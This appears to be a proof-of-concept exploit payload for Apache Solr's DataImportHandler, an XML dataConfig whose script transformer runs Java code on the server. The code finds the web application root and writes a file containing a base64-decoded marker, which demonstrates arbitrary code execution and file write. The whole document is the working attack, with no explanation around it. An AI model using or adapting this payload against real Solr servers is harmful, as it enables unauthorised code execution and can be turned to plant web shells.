<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
  <script><![CDATA[
          function poc(row){
var buf = new java.io.BufferedWriter(new java.io.FileWriter(java.net.URLDecoder.decode(java.lang.Thread.currentThread().getContextClassLoader().getResource("").getPath().toString().replaceAll("file:\/", "").split("WEB-INF")[0]+"1.txt")));buf.write(new java.lang.String(java.util.Base64.getDecoder().decode("MTIzNDU2")));buf.close();
row.put("title",123456);
return row;

}

]]></script>

<document>
    <entity
        stream="true"
        name="entity1"
        datasource="streamsrc1"
        processor="XPathEntityProcessor"
        rootEntity="true"
        forEach="/RDF/item"
        transformer="script:poc">
             <field column="title" xpath="/RDF/item/title" />
    </entity>
</document>
</dataConfig>